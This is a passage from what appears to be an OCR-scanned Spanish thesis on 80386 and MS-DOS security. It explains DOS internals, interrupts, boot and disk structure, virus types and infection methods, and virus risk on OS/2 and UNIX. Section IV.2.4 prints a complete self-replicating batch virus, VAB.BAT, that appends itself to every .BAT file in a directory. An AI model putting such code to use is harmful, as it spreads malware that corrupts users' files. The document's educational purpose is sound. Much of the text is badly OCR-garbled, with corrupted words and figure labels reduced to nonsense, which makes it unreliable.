mientras el sistema operativo esta procesando el
requerimiento. Para solucionar este problema, parte del
stack se copia a un stack mas privilegiado a través de una
compuerta, como se muestra en la figura III-11. La aplicacioén
tiene entonces tantos segmentos de stack como niveles de
privilegio en el ambiente donde se ejecuta.

Stack de Aplicacién Anillo O, Stack después
(Anillo 3) de una llamada de compuerta

parimetro 2

. pardmetro 1

. 0 cs

550:ESPO EIP

parametro 2

SS:ESP parémetro 1

Figura IIr-11. Aumento de Privilegio del Stack.

Hasta aqui, concluye la descripcién de los mecanismos
internos de seguridad que contempla la arguitectura 80386, a
partir de este momento continuaremos con la descripcidén de
algunas de las formas mas comunes para violar la seguridad en
este tipo de equipos, ya sea por deficiencias del sistema
operativo, o inclusive de los mecanismos descritos en este
capitulo.
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CAPITULO IV

LLA SEGURIDAD
DEL SISTEMA OPERATIVO




CAPITULO 1V. LA SEGURIDAD EN EL SISTEMA OPERATIVO.

A continuacién, comenzando con la revisién de las formas
conocidas en que se viola la seguridad, el presente capitulo
revisard aguellas que tienen que ver con el sistema
operativo, enfocandonos badsicamente a la forma mas difundida
Yy comGn, que es la de la accién de los programas nocivos,
estudi&ndose mas a fondo cémo actdan éstos Yy que
caracteristicas aprovechan para lograr su fin. '

El estudio mencionade, se efectuard sobre el sistema
operativo MS-DOS exclusivamente, por lo gue se comenzard
estudiando su estructura interna asi como la forma en gue los
programas nocives la violan., Por ltimo, al final del
capitulo se describe de manera general cémo afectan éstos
programas en otros sistemas operativos soportados por las
microcomputadoras con arquitectura 80386.

IV.1 ESTRUCTURA DEL SISTEMA OPERATIVO MS-DOS.

Para el entendimiento del funciconamiento de los programas
nocivos se requiere, come primer paso, estudiar la estructura
del sistema operativo mas afectado de todos, el MB-DOS, ya
que a partir de muchas de sus caracteristicas de disefio que
involucran graves deficiencias, es posible la fA&cil accién y
proliferacién de este tipo de programas.

IV.1.1 Componentes del ME-DOS.

El sSistema Operativo MS~D0O8 esta compuesto de varias
capas que aislan y protegen su nlcleo (kernel), de 1la
percepcién que el usuario tiene sobre el sistema, estas capas
son las siguientes:

a) Médulo BIOB.(Basic Input oOutput System - Sistema
Bisico para Entrada/Salida). Esta capa es especifica de cada
computadora, y es proporcionada por el fabricante del equipo.
Contiene los manejadores residentes de default del hardware,
para los siguientes dispositivos:

Consola de despliegue (monitor) y teclado.
Impresora.

Despliegue auxiliar.

Fecha y hora.

Dispositivo de arranque para el disco.

1t 11

El nGcleo del sistema se comunica con estos manejadores
de dispositivos a través de trampas e interrupciones. Los
manejadores traducen estos requerimientos en comandos
entendibles por los controladores de hardware. En la mayoria
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de 1las microcomputadoras, el BIOS8 se encuentra grabado en
memoria ROM, por lo que también se le conoce como ROM-BIOS.

b) Xornel (nlcleo)} de DOB. E1l kernel estd formado por
programas suministrados por Microsoft Corporation, gue provee
de una coleccién de servicios independientes del hardware
llamados "funciones del sistema®. Estas funciones incluyen:

Manejo de archivos.

Manejo de memoria.

Entrada/Salida de caracteres a dispositivos.
Lanzamiento de programas.

- Acceso al reloj de tiempo real.

Los programas pueden accesar las funciones del sistema
cargando registros con pardmetros de funciones especificas y
transfiriéndolas al sistema operativo por medio de
interrupciones de software.

¢) Procesador ds Comandos. También llamado Shell (concha
o cubierta) del sistema, es la interfase con el usuario. Es
responsable de analizar sintScticamente 1los comandos del
usuario para su proceso. El procesador de comandos de default
de MB-DO8 es el archivo llamado COMMAND.COM , aunque este
puede reemplazarse con otro shell.

El COMMAND.COM esta formado por 3 ‘partes:

- Una parte residente en memoria que se encarga de las
rutinas que siempre deben permanecer disponibles al sistema
como son: el despliegue de errores criticos, teclas para
interrumpir la ejecucitn de procesos (CTRL C y CTRL Break),
asf como el «cédigo requerido para recargar la parte
transitoria.

~ Una seccién de inicializacién que se encarga de
ejecutar 1las instrucciones de inicializacién (start up),
generalmente dadas en el archivo AUTOEXEC.BAT.

- Una parte transitoria que se utiliza para almacenar
rutinas de programas de aplicacién tales como leer el teclado
o los archives BAT. Cuando algGn programa de aplicacién
termina, se realiza un chequeo (checksum) para verificar que
esta parte transitoria este completa, de no ser asi, se copia
nuevamente de disco. Esta seccién acepta comandos internos
tales como COPY, REN,DIR, DEL, comandos externos como CHKDSK,
BACKUP y RESTORE, y archivos en lote (batch).
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Iv.1.2 Interrupciones.

Las interrupciones son sefiales enviadas al CPU de 1la
computadora para suspender lo que esta haciendo y transferir
el control a un programa especial llamade "manejador de
interrupciones". La transferencia es forzada por mecanismos
especiales de hardware que son cuidadosamente disefiados para
proveer mdxima velocidad en su atencién. El1 manejador de
interrupciones es el responsable de determinar la causa de la
interrupcién, tomando la accién apropiada y regresando el
control al proceso que originalmente fue suspendido.

Las interrupciones son causadas generalmente por eventos
externos al CPU que requieren atencidn inmediata, tales como:

- Completar un proceso de entrada/salida.
- Deteccién de una falla de hardware.
- Catastrofes.

La familia Intel de microprocesadores soporta 256 tipos
de interrupciones, o niveles, que pueden ser agrupados en 3
categorias basicas:

a) Interrupciones internas de hardware. Son generadas por
ciertos eventos encontrados durante la ejecucién de un
programa, tales como la divisién por cero (DIV ZERO}, el
deshordamiento de estructuras (OVERFLOW), etc. También se les
conoce con el nombre de faltas.

b) Interrupciones externas de hardware. Son ejecutadas
por los controladores de¢ dispositivos periféricos o por
coprocesadores. Pueden ser mascarables, si son sincronas y
estan asociadas a la instruccién INTR, o bien no mascarables
si son asincronas y estan asociadas a la instruccién NMI.
Las interrupciones no mascarables son utilizadas para eventos
catastréficos tales como baja de corriente, error de memoria
o en la paridad del bus, etc.

c) Interrupciones de software. Son realizadas de manera
sincrona por cualquier programa al ejecutar la instruccién
INT. Estas son accesibles a través de las rutinas de DOS por
parte del sistema operativo, o de la ROM-BIOS.

El concepto de interrupcién, involucra otro evento
denominado excepcién, las excepciones son interrupciones
especiales que pueden ser de tres tipos:

- Trampas (traps). Se reportan inmediatamente después de
la instruccién, son interrupciones que pueden ser generadas
por hardware o por software. El ejemplo mas comin de trampa
es el denominado punto de ruptura (brak point) utilizado en
depuradores.

~ Faltas (raults). Se detectan antes o durante la
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ejecucién de 1la ins}:ruccién, salvando los valores de CS, EIP
y FLAGS para permitir su restablecimiento. Son interrupciones
internas del hardware.

~ Abortos. Son interrupciones que reportan errores del
hardware y no permiten restablecer el programa. Un ejemplo de
aborto se da cuando los valores de las tablas del sistema son
inconsistentes o ilegales.

Para cada tipo de interrupcién hay reservada un Area de
memoria, 1llamada vector de interrupciones, gque especifica
dénde se encuentra localizado el programa manejador de
interrupciones para ese tipo de interrupcién. La parte mas
baja (los primeros 1024 bytes) de la memoria es 1llamada
"tabla vector de interrupciones". Cada 4 bytes en la tabla
corresponde a un tipo de interrupciédn (0Oh a FFh) y contiene
el segmento Yy el desplazamiento del manejador de
interrupciones de ese nivel. Los niveles mas bajos, es decir,
las interrupciones Oh a 1Fh, son usadas para interrupciones
internas del bhardware; las interrupciones 20h a 3Fh son
usadas por MS-DOS y todas las demds estdn disponibles para
ser usadas para aplicaciones futuras.

si se utiliza el mode protegido del 80386, los

manejadores de interrupciones estan apuntados por
descriptores contenidos en la IDT, éstos descriptores sole
pueden ser compuertas, ya que los manejadores de

interrupciones generalmente se encuentran en niveles de alto
privilegio. Las dnicas compuertas permitidas por la IDT son
las de trampa, interrupcién o de tarea.

Iv.1.3 carga del Siptema Operativo,

cuando se inicializa el sistema, por cuestiones de
arquitectura y no del ME-D0O8, la ejecucién comienza en la
direccién OFFFFOh que corresponde al &rea de ROM para iniciar
la carga, esta direccién contiene un salto (JMP) que
transfiere el control al cédigo de verificacién del equipo y
de la rutina de arranque (bootstrap).

La rutina de boot de la ROM lee otra rutina de boot en
disco que se encuentra en el primer sector (boot sector) y la
carga en memoria en una direccién arbitrarfa, transfiriéndole
el control. La rutina de boot de disco verifica si el disco
contiene una copia del MB~DOB leyendo el primer sector del
directoric rajfz y determinando =si existen los programas
X0.8Y8 y MS8DOS.8¥8 (o bien IBMBIO.COM y IBMDOS.COM). Si éstos
archivos no existen, se solicita al usuario introducir otro
disco que los contenga, en caso de que existan se transfiere
el control al 10.8Y8 el cual es cargado en memoria en dos
partes, el mbédulo BIOS y el SYSBINIT, este Gltimo contiene
c6digo de inicializacién gue determina el total de memoria
contigua en el sistema.
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Después de lo anterior, se llama al c&digo de MsSDOS.BYS
el cual inicializa las tablas internas del sistema y 1las
4reas de trabajo, incluyendo el vector de interrupciones,
llamando las rutinas de inicializacién de cada manejador
(driver). Estos manejadores determinan el estado del hardware
del equipo.

Como parte de la inicializacién, el BYSINIT llama a los
servicios de DO8 para abrir el archivo de configuracién (si
es que existe) CONFIG.8YB el cual contiene comandos que
habilitan al usuario a configurar el medio ambiente. Todos
los manejadores indicados en este archive, se cargan en
memoria, ligindose a la lista de manejadores de dispositivos
de hardware previamente cargados.

Una vez terminado lo anterior, el BYSINIT cierra los
archivos de 1los manejadores utilizados, reabriendo los
dispositivos de default; la consola, la impresora y el
dispositivo auxiliar. Finalmente llama al comando EXBEC de DOS
para cargar el shell gue, una vez en memoria despliega el
prompt del sistema. El mapa de memoria en este momento se
muestra en la figura IV-1.

a Sastetrap s ROM

Teps 4o ta RAM
Parte Yranailerls 4ol CONMAND.COM

Aren del Presgrams Travatierie

Pares me o) COMMAND.COM

slasten

* 4s Contrml 4o 4,

@lewe Sutles pure CACHR

®erest ¢s DO

etoa

sce00n

LLIIYT) Vestecas du telarrnpetan

Figura IV-1. Estado Final de la Memoria cuando se Carga DOS.
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IV.1.4 Estructura de Archivos,

Los archivos llamados "ejecutables", serdn de nuestro
especial interés para conocer su estructura, ya que son los
tinicos archivos del sistema que pueden infectarse por los
programas nocivos., Los archivos ejecutables en HB~DOB pueden
ser de tres tipos: COM,EXE y BAT.

a) Archivos "cCOM". Estos archivos estidn escritos en
c6digo de mdquina y "no son relocalizables" en memoria, son
compactos y su ejecucién es la m&s rdpida de los archivos
ejecutables. Estos programas siempre comienzan en la
direccidédn CS5:100h, el espacio de 0 a 100h (256 bytes) 1lo
ocupa el denominado P8P (Program Segment Prefix) gue es un
blogque de informacién de 256 bytes colocado por H8-DOS en la
base de la memoria donde se aloja el programa gque se va a
ejecutar. El tamafio de estos progi%mas esta limitado por el
direccionamiento de un segmento (2 = 65536 bytes) menos el
tamafio del PSP (256 bytes) y menos 2 bytes de la palabra
mandatoria del stack, es decir 65278 bytes. Cuando un
programa COM se ejecuta, el control de todos los segmentos
del sistema es transferido a la misma direccién y el 8P
apunta a la altima direccién posible (casi siempre la
OFFFFEh). La imagen en memoria de este tipo de archivos
después de la carga, se muestra en la figura IV-2.

nep

Cedign y Dates dat Programs

csi0100M

Ssgmanic Fratile dat Pragrama (PRF)

Figura IV-2., Imagen en Memoria de un Archivo .COM.

b) Archives '"EXE'"., Este tipo de archivos estan limitados
por el tamafio de la memoria disponible y también estan
escritos en c¢édigo de miquina. Los segmentos del sistema se
pueden colocar en diferentes sitios, por lo que el cédigo
"puede ser relocalizable", es decir, el sistema operative
puede cargar diferentes partes del programa en fragmentos de
memoria, permitiendo entre otras cosas, la capacidad de
multitarea. Los programas EXE tienen un encabezado que varia
en tamafio de acuerdo a las instrucciones necesarias para
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relocalizar el cédigo, siendo siempre un mGltiplo de 512. Los
valores iniciales del 88 y el 8P se toman del encabezado y
los puede manipular el programador. La imagen en memoria de
éstos archivos después de la carga, se muestra en la figura
Iv-3.

88.8P Rogmanto del Bleck (arsce Macie ebalo)
85,0000H
Begmento de Datos
Godigo de Pragrams
CB.0000H
Ssgmento Preflle de Programa (PBP}
€8,0000H

Figura IV-3. Imagen en Memoria de un Archivo .EXE.

c) Archivos “BATY. Estos archivos est&n escritos en un
lenguaje especial de instrucciones de comandos sencillos que
no son cédigo ejecutable, sino gue son interpretados por el
COMMAND.COM que los ejecuta al instante.

IV.31.5 Estructura de los_Discos.

Existe una estructura légica y una fisica en cualquier
disco. La estructura fisica esta basada en un sistema de
coordenadas conformado por lado, pista y sector. Un disco
flexible cuenta con 2 lados, un disco duro, como fisicamente
esta compuesto por mas de un disco, puede contener 4 o mas
lados. Cada lado esta separade en circulos concéntricos
llamados pistas. La posicidén de las cabezas en los discos
duros se referencia por medio de cilindros que no son mas gque
la proyeccidén perpendicular de las pistas a través de todos
los discos que lo conforman. Para identificar la posicién
dentro de la pista, ésta se divide en segmentos del mismo
tamafio llamados sectores, de manera que se puede localizar
cualguier posicién de acuerdo a este sistema de coordenadas.
La figura IV-4 muestra esta estructura.

E1 proceso de localizacidn se complica debido a los
diferentes tamafios y tipos de discos que existen, como se
observa en la tabla de la figura IV-5. Para evitarle este
problema a los programas, el sistema operative cuenta con
rutinas que realizan la localizacién fisica de 1los datos
creando una estructura légica para el disco. De esta manera
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los usuarios solamente indican al sistema que desean leer o

escribir en un archivo determinado.
la estructura légica estin contenidas en DOS8,

ROM BIOB.

Figura IV-4. Estructura Interna de un Disco.

PIBTA

Las rutinas gque manejan

mientras que
las que manejan la representacién fisica est&n contenidas en

BECTOR

omoz-r-o

DIBCO Capacidad cilindros Sectores Cabegas
Skt 160 KB 40 8 1
180 KB 40 9 1
320 KB 40 8 2
360 KB 40 9 2
1.2 MB 80 15 2
axe 720 KB 80 9 2
1.44 MB a0 18 2
tipo=20 30 MB 733 17 5
tipo=26 20 MB 612 17 4
tipo=31 44 MB 732 17 7

Figura Iv-5. Tamafios de discos.
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Todos los discos manipulados por DOB son mapeados en 4
4reas separadas. Estas 4&reas en el orden en gque scn
almacenadas son: A&rea reservada, FAT (File Allocation Table -
Tabla de alojamiento de archivos), el directoric raiz y el
&rea de archivos, como se muestra en la figura IV-6.

Sector Boot
Area Reservada

FAT 1

Copias Adicionales de FAT

Directorio Raiz

Area de Archivos

Figura IV-6. Areas del Disco.

El tamafio de cada &rea varia segn la estructura del
disco, aungue su orden no varia. La figura IV-7 muestra los
tamafios de estas &reas para diferentes tipos de discos.

DIBCO Capacidad Area FAT Directorio
Reservada Rais
(Sectores) (Sectores) (Sectores)
Shn 360 KB 1 4 7
1.2 MB 1 14 14
k1 720 KB 1 6 7
1.44 MB 1 18 14

Figura Iv-7. Tamafios de las &reas de disco.

El &rea reservada puede tener uno o mas sectores, el
primero es invariablemente el sector boot. Una tabla dentro
de éste sector especifica el tamafio de esta &rea, el tamafio y
nimero de copias de la FAT y el nGmero de entradas del
directorio raiz.

La FAT se encuentra inmediatamente después del &rea
reservada, esta tabla mapea el uso del espacio de disco en el
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drea de archivos, incluyendo el espacio utilizado por cada
archivo, el espacio no utilizado y el espacio que pudiese
estar dafiado. Dado que el mapeo del disco es muy importante,
se almacena una copla de respaldo. El1 tamafioc de la FPAT
también depende del formato del disco o de la particién en
disco duro. :

El directorio raiz es utilizado para identificar cada
archivo y s8sus caracteristicas mas importantes, como son el
nombre, su tamafio y localizacién en el disco. Ejemplos de
estos tamafios se muestran en la tabla de la figura IV-8.

DISCO Capacidad Tama fio Nimero de Entradas
(Bectores)

5% 180 KB 4 64
360 KB 7 112
1.2 MB 14 224
Iy 720 KB 7 112
1.44 MB 14 224
tipo-20 30 MB 32 512
tipo-26 20 MB 32 512
tipo-31 44 MB 32 512

Figura IV-8. Tamafios del Directorio Raiz.

Finalmente, el &rea de archivos es el espacio disponible
para almacenar los archivos, aunque también puede contener
subdirectorios. Su almacenamiento se da en sectores contiguos
llamados clusters, cuyo tamafio esta dado en potencias de 2; 2
para los discos flexibles y 4 para los discos duros.

Debido a que existen diferentes tipos de discos, cada uno
debe indicar 1la informacién sobre su estructura. Esta se
localiza en el primer sector, llamado de carga (boot}, en el
que adem&s se encuentra la rutina de arranque.

Al inicializar el sistema con un disco flexible, 1la
computadora comienza cargande el primer sector fisico (lado
0, pista 0 sector 1), a memoria y le pasa el control al
cbdigo cargado, este c&digo sabe dénde se localiza el resto
del sistema operativo en el disco y lo carga.

El proceso de arranque desde el disco duro es algo
diferente, ya que fisicamente un disco duro puede estar
compuesto de varias particiones que pueden estar asignadas a
diferentes sistemas operativos. En el primer sector fisico se
localiza una tabla de formateo llamada "Tabla de
particiones", que contiene la informacién de las particiones
Y en dénde se localizan fisicamente. cCada particidén tiene
como primer sector su propic boot.
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Al arrancar una computadora desde disco duro, se carga
inicialmente la tabla de particiones, ésta a su vez carga el
boot de la particiédn seleccionada y éste al sistema
operativo.

V.2 COMO FUNCIONA v 8

Una vez concocidas 1las principales caracteristicas del
sistema operativo MB-DO8, se requiere comc segundo paso,
estudiar y conocer las diferentes caracteristicas de leos
virus, que, como se verf, afectan la informacién de las
microcomputadoras, a partir del manejo de archivos y datos
que hace el sistema operativo.

. arte uctu es 4 op Virus

Los virus, como cualquier programa, estd&n formados
estructuralmente de ciertas partes, cada una de ellas efect(a
funciones generales que se mencionan a continuacién:

a) Reproduccidn. Esta tarea es una de las mas importantes
de los virus, y gran parte del cédigo esta enfocado a ello,
ya que es la mas compleja de realizar. Ella se encarga de
modificar los programas gque desea contaminar (en caso de gue
sean programas) Yy de instalar el cédigo del virus en el
sistema. Para esto debe de cuidar que el programa del usuario
guede siempre en forma ejecutable ya gue en caso contrario el
usuario no lo podria utilizar.

El virus puede conocer en que parte comienza la ejecucién
de un programa, y bas&ndose en esto substituye esta parte
utilizando s8u propio cédigo y después de haber sido
ejecutado, reconstruye el programa para que funcione
normalmente.

En los virus que sustituyen partes del sistema operativo,
la rutina de reproduccién debe encargarse de copiar la parte
gue va a sustituir a un lugar seguro, copiando posteriormente
el cédigo del virus a la posicién original de la rutina del
sistema operative. Al ejecutarse el virus, este carga
posteriormente el cédigo original para que el usuario no se
dé& cuenta que esta contaminado.

b) La instalacién residente en memoria. Para que un virus
se pueda reproducir, normalmente se instala en forma
residente en memoria, apuntando los vectores de interrupcién
a su propia rutina. De esta manera puede contaminar un
programa cada vez gque existe un acceso a éste o cuando se
desee ejecutar, ya que estas operaciones se realizan en base
a interrupciones.
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c) Rutina que da a conocer el virus. Un virus usualmente
tiene una rutina con la cual usualmente se da a conocer al
usuario, o con la cual hace notar su presencia. Esta rutina
puede ser desde un mensaje o un caracter hasta la destruccién
de archivos o un disco completo.

d) Rutina qua oculta al virus para evitar su deteccidn.
Algunos virus cuentan con rutinas especiales que dificultan
su deteccién. Estas rutinas pueden ser por ejemplo, sistemas
encriptadores que esconden al virus aleatoriamente, de manera
que siempre sea diferente.

IV.2.2 ggpog 4e vj.;uu=

El tipo de clasificacidn que nos interesa ahora, es de
acuerdo a la forma de infeccién, de acuerdo a esta
caracteristica los virus pueden ser:

a) Contaminadores del sistema. Son programas que afectan
partes del sistema, presentindose en dos formas:

a.l) Contaminadores del sector de arranque. Como ya se
menciond, todos los discos en MB8-DO8 tienen un &rea que
almacena programas para iniciar el proceso. Una gran cantidad
de los virus conoclidos, se especializan en alterar o infectar
este sector, obteniendo grandes ventajas debido a que son los
primeros programas en cargarse antes que cualquier otro,
incluyendo al sistema operativo y a 1los antivirus. Pueden
permanecer residentes y activos en todo momento en la memoria
y contaminar todos los discos que tengan contacto con el
sistema.

a.2) Contaminadores del procesador de comandos del
sistema. Son programas disefiados para infectar el shell del
sistema, que es el que permite la interfaz con el usuario.
Como la mayoria de los comandos del sistema son introducidas
a’ través de éste programa, se tiene 1la oportunidad de
esconder la actividad del virus tras accesos normales del
usuario como son un DIR o un COPY. Aunque los tiempos de
ejecucién de las 6&rdenes jinterceptadas por los virus son
mayores que Jlos normales, los usuarios nunca notan la
diferencia. Este tipo de virus también se activa al arrangue
del sistema y permanecen residentes, teniendo la capacidad de
supervisar y controlar casi toda la interaccién entre el
usuario y la m&quina.

b) Ccontaninadores de programas de aplicacidén. Son
programas gque afectan programas de aplicacién del usuario,
éstos también son de dos clases:

b.1) contaminadores de propdsito  general. Estos
programas se disefian con la mas amplia gama de
compatibilidades infecciosas y, generalmente no pueden, y no
estan dirigidos a infectar archivos de bajo nivel del sistema
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operativo, conform&ndose con los dem&s archives ejecutables.
Estos programas son de propagacién muy rapida logrando
saturar el sistema.

b.2) Contaminadores de archivos especificos. Estos
programas atacan a un nGmero fijo, e incluso a un solo tipo
de archivos. Los archivos destino son normalmente destruidos
en su totalidad puesto gue este tipo de virus generalmente se
elaboran en forma deliberada con el Gnico objeto de destruir
informacién.

c) Contaminadores multipropésito. Estos contaminadores
son disefiados para incluir las caracteristicas mas activas de
los tipos antes mencionados. Pueden infectar inicialmente
sectores de arranque, procesadores de comandos o ambos. Desde
ahi pueden producir parasitos viricos que funcionen como
contaminadores de propésito general y/o de archivos
especificos.

Un esquema general de esta divisién, se muestra en 1la
grafica de la figura IV-9.

L il

BE APLICACION
OEL PROGENADON
OE COMANDOS

Fn. [ o ancuivos ’

COPECIFICOS
Figura IV-9. clasificacién de Virus.

I OEL S18TCMA

QEL sccTion
[T

Iv.2.3 Métodos de Infeccibn.

Infectar un sistema, se define como la intromisién de un
programa nocivo en un sistema. Existen diversas formas en gque
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un virus puede infectar un sistema, se conocen cinco métodos
populares empleados por la mayoria de 1los virus para
aduefiarse del control de los archivos, estos son:

a) ahadidura, son virus que se agregan al final de los
archivos ejecutables, estos son modificados y cuando se
ejecutan, el virus afadido es el primero en tomar el control.
Esto se puede observar en la figura IV-10, en donde se Ve
como se altera la secuencia de ejecucién. Dependiendo del
tipo de archivo que se infecte, estos virus tienen que
emplear diferentes técnicas para desviar el control de su
programa anfitrién en el momento de ejecucién. Por ejemplo,
los archives .COM y .EXE utilizan diferentes formas para
cargarse en memoria.

Programs ariss de ba inteseten

PROGRAAMA.EXE

Pregremu daspron do s lunvesien

Codige Atsdids a) Tinal PROGRAKA.EXE

@1 pregrams erigined

Figura IV-10. Infeccién por Anadidura.

b) Insercidn. Estos sitGan directamente su cédigo dentro
de un cédigo no utilizado de segmentos de datos. En esencia
son iguales a los de afiadidura con la diferencia de que el
cédigo esta dentro del anfitrién y no al final, lo cual
reduce sus posibilidades de crecimiento. La figura 1IV-11
muestra este tipo de infeccién.

Prostama sulas do ta latessile

PROGAANA.EXE

Sreprame

Figura IV-11. Infeccidn por Insercién.
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c) Reorientacién. Bajo este esquema se introducen virus
centrales bajo una o mas posiciocnes fisicas de los discos,
tales como las 4&reas de particién, sectores dafiados o
archivos ocultos (hidden). Estos virus "maestros™, utilizando
técnicas de afadidura o insercién implantan trabajadores
viricos en los dem&s archivos cuando éstos se ejecutan. Los
trabajadores pueden ser tan pequefios como 2 bytes, que es el
tamafio requerido para hacer una interrupcién de DOS.

d) substitucidén. Es el método de infeccidn mas burdec Y
lento, y se basa en la substitucién de los archivos destino
ejecutables por un virus. No infectan realmente a 1los
archivos ejecutables, sino mas bien el sistema en el que
residen. La figura IV-12 muestra como actGan, not&ndose que
la secuencia de ejecuciédn no cambia.

Pregrams antee ¢a lo lntancisn

PROGRAMA.EXE

Programs 4

Tauate sul Rrearans « Tanshs et ¥irue

Figura IV-12. Infeccibn por substitucidén.

e) Armazbén virico. Estrictamente esta no es una forma de
infeccién, sino mas bien un método de supervivencia post-
infeccién. Los contaminadores de sector de arrangue lo ponen
en accién muy a menudo, aunque los virus contaminadores del
procesador de comandos los utilizan también. El armazsn es en
la practica, una envoltura de todas las funciones bAasicas de
una computadora. Se interpretan y enmascaran las acciones que
de alguna forma podrian revelar la presencia del virus, o
algGn indicio que pudiera amenazar su supervivencia. Los
listades de directorios son blogueados y analizados,
presentindose al usuario versiones modificadas.

V.2.4 Bjemplo de Infeccién.
Para entender en forma mas precisa, la estructura y forma
en gque infectan los virus, a continuacién se presenta un

ejemplo sencillo de un virus que infecta archivos especificos
del usuario del tipo BAT, utilizando el mé&todo de afiadidura.
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El cédige del virus esta contenido en un archivo que
llamaremos VAB.BAT (Virus de Archivos Bat), gque mostramos a
continuacién.

1 echo Virus de Archivos Bat (VAB).

2 echo Este programa ejemplifica como opera un virus.

3 echo

4 echo {0JO! ;ESTE PROGRAMA INFECTA TODOS LOS ARCHIVOS
5 echo CON EXTENSION BAT DEL DIRECTORIO ACTUAL.

6 echo Si usted no desea que esto ocurra oprima CTRL €
7 echo para cancelar, de lo contrario se infectaran

8 echo todos sus archivos.

9 pause > nul

10 cis

11 echo ;USTED A ELEGIDO EJECUTAR EL VIRUS DE ARCHIVOS
12 echo BATCH!.

13 echo el directorio actual es:

14 cd

15 echo Infectando los archivos BAT de este directorio..
16 ctty nul

17 for 33f in (*.bat) do copy 3%¥f+vab.bat

18 ctty con .

19 cls

20 echo Todos los archivos bat de este dir se infectaron

Del programa anterior, podemos observar el c6digo tan
pequefio requerido para hacer un virus, aunque todavia puede
ser menor. A continuacién se identifican 1las partes
principales de este virus:

- La rutina de reproduccién o nicleo del virus, esta dada
Gnicamante por la instruccién de la linea 17, que por si sola
podria ser el virus.

- La rutina con la que se da a conocer el virus, esta
compuesta por muchos mensajes, ya que este virus trata de
prevenir al usuario. Si eliminamos todos los mensajes que no
son indispensables, podemos decir que la linea 15 seria
suficiente.

- En el caso de este virus, no se contempla su carga en
memoria ni alguna rutina de ocultamiento.

Una vez que haya sido utilizado el VAB.BAT, todos los
archivos BAT del directorio llevardn una copia del programa.
Del mismo modo cada vez que se utilice uno de éstos archivos
infectados, reproducirdn el virus en otros archivos BAT,
inclusive de otros directorios. Con el tiempo ningGn archivo
BAT funcionari correctamente, sl es que funcionan.

Este programa, aungue no muestra la complejidad real de
un virus, si demuestra lo f&cil que puede ser crearlos,
ademis de que nos muestra la principal caracteristica de este
tipo de programas, que es la autoreproduccién.
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V.2,5 fio 1 _Hardwar 0 edjo de_los vir

El dafioc del hardware pareceria algo imposible de primera
instancia, aunque en 1la préctica es posible afectarlc a
través de programas. Las formas mas comunes conocidas para
hacer esto son las siguientes:

- Algunos monitores pueden dafiarse por algin programa,
enviando repetidamente una sefal de brillo a un determinado
punto de la pantalla.

- Es posible dafiar los discos duros, intensificando su
actividad de lectura/escritura.

En realidad, es virtualmente imposible que un programa
dafie el hardware de una miquina sin que el usuario se dé&
cuenta de que algo anda mal, antes de que el dafic fisico
ocurra, por lo que este tipo de acciones de los programas
noclvos es poco frecuente y diffcil de que ocurra.

IV.3 1,08 VIRUS MAS COMUNES.

Para conocer como han afectado hasta ahora los virus en
las microcomputadoras, en el Anexo A del presente trabajo, se
presentan los virus mas conocidos a la fecha, indicéndose sus
principales caracteristicas, como son su origen, tipo,
descripciébn, la forma en que se dan a conocer y su dafio
potencial.

IV.4 108 VIRUS EN OTROS SISTEMAS OPERATIVOS SOPORTADOS POR LA
ARQUITECTURA 80386.

Los virus estudiados hasta aqui, son exclusivos del
sistema operativo M8~DOS, es decir, sélo se pueden ejecutar
en este ambiente. Sin embargo, ya que la arquitectura 80386
soporta otros sistemas operativos, (qué sucede con ellos?,
¢son afectados por los mismos virus o por otros?.

Definitivamente el sistema operativo juega el papel mas
importante para garantizar la seguridad del sistema, sin
embargo, no existe un sistema operativo 100% seguro, es
decir, cualquier equipo con el sistema operativo que sea, es
suceptible de infecciones viricas. De cualquier forma cada
sistema operativo tiene diferentes caracteristicas y por lo
tanto diferentes formas de vulnerabilidad con los virus. A
continuacién se presentan algunas consideraciones con
respecto a otros sistemas operativos soportados en 1la
arquitectura 386.
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IV.4.1 Los virus en e] Sistema Operativo 0O8/2.

08/2, es un sistema operativo que fue disefiado para
aprovechar el modo protegido ofrecido en las argquitecturas
286 y 386. La proteccién en este sistema operativo, se da a
los dispositivos instalados en la miguina, incluyendo los
puertos, el teclado, el monitor, la ROMBIOS Yy la memoria RAM.
MB8-DO8 permitia a los programadores utilizar todos estos
recursos explicitamente accesdndose en forma directa.

Una de las motivaciones principales de 08/2 fue crear un
sistema operativo multitarea para microcomputadoras. Los
programas que se ejecutan bajo 08/2 no pueden accesar
directamente el hardware ni pueden realizar las tareas de
entrada/salida de bajo nivel utilizadas por programadores de
DOSB.

Como el acceso a programas es controlado por el sistema
operativo, se crea una separacién entre el software y el
hardware obteniéndose una mejor seguridad.

En un sistema multitarea, tiene que impedirse que las
diferentes tareas se interfieran entre si. Puesto que muchos
virus infectan al sistema instalandose como una extensién del
sistema operativo residente en memoria, los elementos para el
manejo de é&sta en 08/2 son mucho mas completos, por lo que nho
lo permitirian tan facilmente.

Para impedir que un programa altere un archivo mientras
otro lo este utilizando, los archivos (a menos gque sean
definidos explicitamente como compartibles), no pueden ser
alterados mientras los esté utilizando otro programa.

Puesto que 08/2 utiliza los archivos del kernel cuando
esta funcionando, estos archivos no pueden ser modificados
por un virus. Esto elimina una clase importante de virus, los
que sustituyen archivos del sistema en el disco del usuario.

Desde la versién 1.2 de 08/2 se ofrece la funcién de
doble arranque, que permite a un usuario tener en un sistema
tanto a DOB como a 08/2 en memoria. Ya que DO8 es igual de
gensible con o sin 08/2, los archivos de é&ste Gltimo seran
vulnerables. Si se disefiara un virus para esta funcionalidad,
deberia modificar el kernel de DOB8 cuando 08/2 estuviera
activo. Sin embargo, s6lo podria modificar archivos no
protegidos de ©08/2.

otra caracteristica de 08/2 vulnerable a los virus, es
que el cargador de DOB se incorporé a los archivos EXE de
08/2, También seria posible infectar el nGcleo de 08/2 cuando
&ste no se ejecuta, por ejemplo cuando =g arranca DOS. Una
vez gque un virus infecta de esta forma, no habria limites
para lo gque se¢ puede hacer.
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Uno de los archivos mas vulnerables a los virus es el
archivo CONFIG.8Y8 que es en dénde residen los privilegios
del sistema. Cualquier archivo ejecutable (EXE,DDL & S¥S)
puede ser afectado por los virus. El método basico es similar
al mencionado en boO8.

En este momento no existen virus para 08/2, pero como ya
ge dijo, si no existe un sistema operativo gue garantice el
100% de seguridad, podemos afirmar que solo es cuestidén de
tiempo para que sea afectado por este tipo de programas.

-4,2, Lo us_en e)l sistema operativo UN

UNIX es un sistema operativo muy difundido en equipos de
mediano tamailo (minicomputadoras) Y aungue no se ha
difundido como se esperaba en las microcomputadoras, es uno
de los sistemas operativos de mayor uso después de MHS8-DOS,
